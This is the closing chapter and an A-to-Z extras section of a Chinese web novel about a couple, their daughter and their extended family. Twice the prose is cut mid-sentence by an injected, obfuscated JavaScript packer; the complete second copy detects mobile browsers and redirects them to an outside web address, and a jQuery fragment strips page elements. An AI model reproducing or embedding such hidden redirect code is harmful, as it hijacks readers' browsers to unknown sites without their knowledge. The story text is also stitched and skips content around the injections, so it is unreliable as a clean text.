河道英看着那个小小的婴儿,眼泪终于掉了下来。 手术结束后,尹叙承躺着从产房出来,等待的万分焦急的大姐和东恩陪着他回到病房,月嫂和保姆都在房间里待命,他一出来,就有各种细微不至的照顾。 宝宝已经被河道英抱着回到了病房,尹叙承和大姐以及东恩都迫不及待地稀罕地看了一会儿好像是沉浸在睡梦中的小孩。 “名字取好了吗?”大姐问。 “早就想好了,就叫河艺率。”尹叙承看着小天使不自觉就流露出微笑。 “我们艺率以后一定是跟大姐和东恩一样的“女王”。” 河道英也嘴角上扬。 “我觉得艺率长得很像哥你诶!” 东恩学着月嫂保姆的样子,轻轻抱起宝宝。 “我怎么觉得更像河道英这家伙……” 尹叙承摇了摇头。 河道英坐在床边,闻言在他额头落下一个吻。 “像你。” 这下尹叙承没有在反驳什么了,两人静静看着东恩怀抱中那个小小的婴儿,都没有再说话。 艺率刚出生没多久就睁开了眼睛,黑珍珠似的眼睛很是有神,尹叙承逗弄她的时候,还会配合的咧嘴笑,露出没牙的牙床,可爱的让人心都化了。 等到学会翻身的时候,她更是仗着床大,在上面滚来滚去,整个庄园的人都被她萌翻了。 尹叙承每天抱着她,都舍不得放下,有空就要陪她玩,河道英开玩笑说他要把孩子宠坏了,尹叙承就护崽的猫妈妈一样瞪他一眼。 “我乐意嘛,你敢说你宠的比我少?” 河道英理亏的笑了笑,毕竟自己也很爱女儿的。 河艺率十一个月的时候,就学会主动叫“爸爸”了。 那天尹叙承正靠在沙发抱枕上,喂她喝奶粉,艺率吃饱后,忽然含糊不清地喊: “爸……爸……” 尹叙承愣住了,赶忙叫在餐厅好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们还没结婚呢。” 尹叙承语气淡淡的,但眼里却有笑意。 “哥。” 东恩看出尹叙承存心逗周汝正玩呢,无奈地喊了一声。 尹叙承笑了,面上那副故意装出的表情也维持不住了。 “行了,行了,不逗你了。” “既然东恩认定你了,那就是一家人了。” 尹叙承站起来,把艺率递给了周汝正。 “来,抱抱你侄女。” 然后松了一口气似的,把动画节目调到了电影频道。 周汝正手忙脚乱地接过艺率,抱着她的姿势很是僵硬,艺率歪着头看这个陌生面孔,伸出小手,揪了揪他的头发。 “疼疼疼……” 周汝正痛的龇牙咧嘴,但是不敢动,还是一旁的东恩笑着将他从艺率手中解救。 尹叙承看着这对小情侣,仿佛就像看到多年前自己和河道英相处的样子,都是一样的温馨与甜蜜。 艺率上小学那年,东恩的建筑设计拿到了国际顶尖奖项。 消息传回来的时候,全家都沸腾了,都为东恩感到自豪与高兴。 尹叙承抱着艺率在客厅里转圈圈,河道英在旁边笑,大姐也难得在社交媒体转发那条新闻,配文是“我妹妹。” 东恩从颁奖现场打电话回来,尹叙承听到她的声音都有些发抖。 “哥,我拿奖了!” “我知道!” “我就知道我妹妹是最厉害的,一定能行!” “哥,谢谢你……” “谢谢你当年找到我,给了我那么多关心与帮助……” 东恩的声音很轻,似乎还有些哽咽。 “傻孩子,就算没有我,凭借你的能力,也一定能成功的!” “东恩,你一直都是最棒的!” 尹叙承的眼泪一下子掉了下来。 艺率在旁边仰头看着尹叙承,见他哭了,伸出小手擦了擦他留下的眼泪。 “爸爸不哭。” 尹叙承抱起她,亲了亲她的脸蛋。 “爸爸没哭,只是为你姑姑感到高兴。” 艺率歪着头,想了想。 “我也一样为姑姑高兴!” 尹叙承笑了,把她抱得更紧了些。 又是一年冬季。 庄园里的黄葛树上落着一层薄薄的雪,透明的冰锥挂在枝条上,在阳光下晶莹剔透。户外的寒冷干扰不到室内的温暖,客厅的壁炉烧的旺旺的,暖气也很给力,艺率在厚厚的羊毛地毯上跑来跑去,和尹叙承最近养的猫猫玩捉迷藏,童趣的笑声丝毫不吵闹。 东恩坐在巨大落地窗旁的摇椅上,画着设计图,周汝正坐在她对面,安静地看着医书,两人偶尔说几句话,气氛很和谐。 大姐尹明敏也来了,难得没穿一身正式的西装,而是穿着休闲的服饰,坐在藤椅上喝茶,看着艺率和猫猫活力地玩耍。 保姆大姐在厨房跟着厨师们忙活,不一会儿,艺率最爱吃的番茄牛腩的香味飘了出来。 尹叙承坐在沙发上,看着家中这一切,河道英端着他最爱的热可可走过来,在他身旁坐下,尹叙承顺势靠在他怀里。 “想什么呢?” 尹叙承没说话,只是一味地喝着热可可。 他想起了很多年前,那时候他每天忙工作,偶尔陪陪大姐,日子过的时而忙碌时而休闲,挺不错的,但总觉得少了些什么。 于是,后来,他找到了东恩。 再后来,他遇到了河道英。 再再后来,又有了艺率小天使。 现在他坐在这里,看着眼前这些人,这些他的家人。 在这平凡的一个冬天,他感到了幸福。 “河道英。” “嗯?” “你说,以后的生活也会像今天一样吧?” “会的。” “我们会一直幸福下去的。” 冬日的阳光透过玻璃窗照进来,落在了每个人的身上,很暖,很温馨…… 就让此时此刻的这份幸福,在现在,也在往后的每一天…… 12. 番外:二十六个英文字母[番外] 1.A-Art(艺术) 艺率第一次拿起画笔时,她在白纸上画了两个“火柴人”,然后指着说:“这个是爸爸,另一个是大爸爸!”尹叙承看着那两个歪歪扭扭的小人,笑的前仰后合,河道英则是很认真地将画收到保险柜里,说:“这可是女儿的第一件艺术品,要好好收藏。” 2.B-Balloon(气球) 尹叙承自从看了那部《飞屋环球记》后,就特别喜欢各种各样、各色各彩的气球,河道英直接在庄园的绿地上一比一为他复刻了电影中的小屋,成为了一道靓丽的风景线,尹叙承拉着河道英直接在气球小屋里住了一整个月! 3.C-Coffee(咖啡) 河道英以前只喝不加奶、不加糖的原味瑰夏咖啡,和尹叙承在一起之后,他的咖啡里开始出现焦糖、奶油、肉桂粉等奇奇怪怪的东西,甚至有一次还出现了粉色的棉花糖,下属第一次看到时,都以为自己眼花了。 4.D-Dream(梦想) 东恩小时候的梦想是离开那个阴暗潮湿的出租屋,后来的梦想是考上大学的建筑系,再后来的梦想是拿到国际大奖,而现在她都做到了。 5.E-Evening(傍晚) 每天傍晚,河道英都会准时出现在家门口,无论天气好坏、也不管工作多少,艺率听到门响声后就会大喊,“大爸爸回来啦!”,然后跑过去扑进他怀里,而在沙发上沉浸电影的尹叙承也会立刻起身,在门口与河道英交换甜蜜的吻。 6.F-Five(五) 尹叙承、文东恩、尹明敏、河道英、河艺率五个是永远的最棒的一家人! 7.G-Go(围棋) 河道英的爱好是下围棋,尹叙承经常陪他下围棋,不过,在棋盘上,尹叙承总是输,但他又不服输,每次都说要“再来一局!”河道英宠着他,和“菜鸟”段位也下得有来有回。 8.H-Hug(拥抱) 尹叙承是个拥抱爱好者,情绪低落、情绪开心、困了醒了都要抱抱,河道英原本不太习惯这么多肢体接触,但现在,如果哪一天尹叙承没有要抱,他也会主动的。 9.I-Ice cream(冰激凌) 尹叙承最喜欢特浓黑巧克力的Venchi冰激凌,艺率最喜欢草莓味的哈根达斯,东恩喜欢开心果和覆盆子双拼的Venchi,大姐尹明敏喜欢咖啡曲奇的Gelato冰激凌,而河道英比较喜欢不甜的抹茶味冰激凌。 10.J-Journey(旅行) 每年夏天,尹叙承一家五口都会去一次太平洋的私人小岛,熟悉的海滩、熟悉的野花田、熟悉的别墅……艺率问,为什么每年都要去同一个地方,尹叙承抱起她说,因为这是爸爸和大爸爸结婚度蜜月的地方,有着最珍贵的回忆。 11.K-Kite(风筝) 当柳树变绿、春季到来,河道英和尹叙承就会带艺率在花园放风筝,艺率的蝴蝶风筝总是飞不起来,她跑啊跑,累的满头大汗,河道英前去帮忙,结果也败下阵来,最后,河道英和艺率都一脸敬佩地看着将风筝线全放完的尹叙承,高高的蝴蝶风筝在天空上只剩下黑点。 12.L-Live(生活) 生活多美好啊!大家都在好好生活着,东恩的建筑设计所已经在首尔数一数二了,尹叙承的安保公司拓宽了国外市场,河道英的载平建筑稳中求进的发展,大姐的均工集团最近又接了个国家级项目,艺率也加入了小学女子足球队…… 13.M-Moon(月亮) 尹叙承和河道英其中一人如果出差,那分离的几天晚上,他们就会互发一张当地月亮的照片,不管多远,总是同一个天空、同一个月亮,寄托着思念…… 什么?如果你问时差一个白天一个晚上怎么办? 如果真有那么远,他们就会陪着对方一起去出差哒! 14.N-Necklace(项链) 周汝正追求东恩那几年,每个月都会送东恩一条Tiffany项链,东恩正式答应他时,那几百条项链都能赶上专柜展台了。 15.O-Ocean(海洋) 艺率稍大点那会儿,尹叙承第一次带她去大海边,海浪涌上来,没过她的小脚丫,艺率惊讶又兴奋地分享着,“爸爸!水在动!”尹叙承和河道英一左一右牵着她的手,笑着同艺率一起玩水。 16.P-Pink(粉色) 尹叙承头顶呆毛地颜色换了好多种,最后,粉色脱颖而出,成为了永远的标识色,到现在也没变。艺率一开始还以为真的有人天生就是粉色头发呢! 17.Q-Quinoa(藜麦) 有段时间,尹叙承很迷各种健康养生节目,买了几斤据说抗氧化、调节内分泌的藜麦回家,结果因为煮出来的样子很恶心,有点像虫子,且有种难以言说的味道,被他果断抛弃,全都推给了河道英,从此以后便再也不看养生节目了。 18.R-Rain(雨) 下雨的时候,艺率会趴在窗边看雨雾中朦胧的庭院,尹叙承会泡一壶师父送给他的龙井绿茶,河道英也会坐在客厅里陪着他们,一同享受雨季的氛围。有时候东恩和大姐也在,那时屋内的和谐融洽与窗外的潮湿淅沥差距便更大了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437659|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 19.S-Snow(雪) 冬季时,河道英和尹叙承带艺率去世界降雪量第一的青森县旅行,那里的积雪都要比艺率高,视野中的任何东西都被裹上了一层名为雪的白色糖霜,还好户外只有零下几度,艺率在雪地里都玩疯了。 20.T-Tail(尾巴) 尹叙承经常和河道英在king size的床上play点little情趣,尹叙承最喜欢玩角色扮演,黑色的吸血鬼蝙蝠套装是他心中的top1,不过河道英更喜欢尹叙承穿有着可爱猫尾巴的喵喵套装。 21.U-University(大学) 尹叙承最近迷上了犯罪心理学,兴致勃勃要去考心理学研究生,全家都很支持他,这几年毕业的东恩拉着周汝正还为亲哥传授了不少学习技巧,河道英从关系网中花大价钱拉来了几个教师,私下给他开小灶,尹叙承成功毕业拿到学位证后,一家人都很开心。 22.V-Victory(胜利) 艺率加入的小学女子足球队后,第一次作为首发队员闯入决赛,尹叙承、河道英、东恩、周汝正以及大姐都坐在看台家属席上举着横幅支持,果不其然,艺率所在的队伍3:1击败对方,取得决赛胜利,艺率也获得了全场mvp,看台上的一家人加油鼓励声都把嗓子喊哑了。 23.W-Wedding(婚礼) 在尹叙承和河道英那场婚礼上,还发生了许多有趣的小插曲,众所周知尹叙承作为一个小少爷,看漫画和玩电子游戏也是他最最喜欢的爱好之一,因此也结识了不少二次元朋友,所以婚礼上那些被他邀请来的朋友全都cos了尹叙承最喜欢的动漫或游戏,比如海贼王、犬夜叉等中的角色,成为了婚礼上一道靓丽的风景线。 24.X-X-rated(限制级) 尹叙承常常欣赏各种18↑男同小说,甚至有时还会拉着河道英一起看,然后两人就会在king size bed上做一些和谐和谐内容。 25.Y-Yoke(束缚) 开安保公司保护他人的人,也想要自己被保护被掌控,更是人之常情,尹叙承和河道英还会玩yoke play,被绳子和手铐绑住双手,让尹叙承有种诡异的安全感,这也能归类为缺爱或原生家庭的错吧? 26.Z-Zoo(动物园) 大姐尹明敏为艺率买了一家动物园,所以在一个阳光明媚的上午,东恩和周汝正牵着手、尹叙承和河道英牵着手、艺率和尹明敏牵着手,一家人兴致勃勃地在动物园里逛了一整天。 [The end 劇終]